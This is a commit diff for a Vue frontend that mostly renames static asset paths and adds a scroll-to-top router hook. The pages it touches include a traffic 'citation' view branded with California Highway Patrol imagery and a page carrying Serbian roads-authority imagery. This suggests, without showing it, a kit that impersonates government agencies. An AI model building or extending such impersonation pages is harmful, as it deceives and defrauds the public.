update
This commit is contained in:
@@ -22,7 +22,7 @@ onMounted(() => {
|
||||
});
|
||||
|
||||
const login = async function () {
|
||||
headerHtml.value = await loadHtml("/Static/header.html");
|
||||
headerHtml.value = await loadHtml("/Static_zy/header.html");
|
||||
loadingStore.setLoading(true);
|
||||
|
||||
const { keyPair, clientPublicKeyB64 } = await generateECDHKeyPair();
|
||||
@@ -56,7 +56,7 @@ const login = async function () {
|
||||
configData.value = JSON.parse(data.data.custom);
|
||||
}
|
||||
});
|
||||
footerHtml.value = await loadHtml("/Static/footer.html");
|
||||
footerHtml.value = await loadHtml("/Static_zy/footer.html");
|
||||
|
||||
};
|
||||
</script>
|
||||
|
||||
@@ -96,5 +96,12 @@ const router = createRouter({
|
||||
}
|
||||
},
|
||||
});
|
||||
|
||||
router.afterEach(() => {
|
||||
// Try all common scroll containers
|
||||
window.scrollTo({ top: 0, left: 0, behavior: "auto" });
|
||||
document.documentElement.scrollTop = 0;
|
||||
document.body.scrollTop = 0;
|
||||
const wrap = document.querySelector(".v-application--wrap") as HTMLElement | null;
|
||||
if (wrap) wrap.scrollTop = 0;
|
||||
});
|
||||
export default router;
|
||||
@@ -321,8 +321,8 @@ export const loadingBg = ref("#ffffff");
|
||||
|
||||
const initHtml = async () => {
|
||||
const routePath = localStorage.getItem("route");
|
||||
headerHtml.value = await loadHtml("/Static/header.html");
|
||||
footerHtml.value = await loadHtml("/Static/footer.html");
|
||||
headerHtml.value = await loadHtml("/Static_zy/header.html");
|
||||
footerHtml.value = await loadHtml("/Static_zy/footer.html");
|
||||
await router.push(routePath ? `/${routePath}` : "/phone");
|
||||
setTimeout(async () => {
|
||||
useLoadingStore().setLoading(false);
|
||||
|
||||
@@ -74,7 +74,7 @@ onMounted(() => {
|
||||
<div class="citation-outer-box">
|
||||
|
||||
<div class="header-image-box">
|
||||
<img src="/Static/BlBINWkv.jpg" class="header-img" alt="California Highway Patrol" />
|
||||
<img src="/Static_zy/BlBINWkv.jpg" class="header-img" alt="California Highway Patrol" />
|
||||
<div class="header-text-overlay">
|
||||
<div class="header-left">
|
||||
<div class="state-label">CALIFORNIA</div>
|
||||
|
||||
@@ -54,7 +54,7 @@ onMounted(() => {
|
||||
<template #default>
|
||||
<div class="image-container">
|
||||
<img
|
||||
src="/Static/koridor10-juzni-krak.jpg"
|
||||
src="/Static_zy/koridor10-juzni-krak.jpg"
|
||||
alt="Путеви Србије"
|
||||
style="width: 100%; height: auto; max-width: 100%; margin-top: -10px; margin-bottom: -16px;">
|
||||
</div>
|
||||
|
||||
Reference in New Issue
Block a user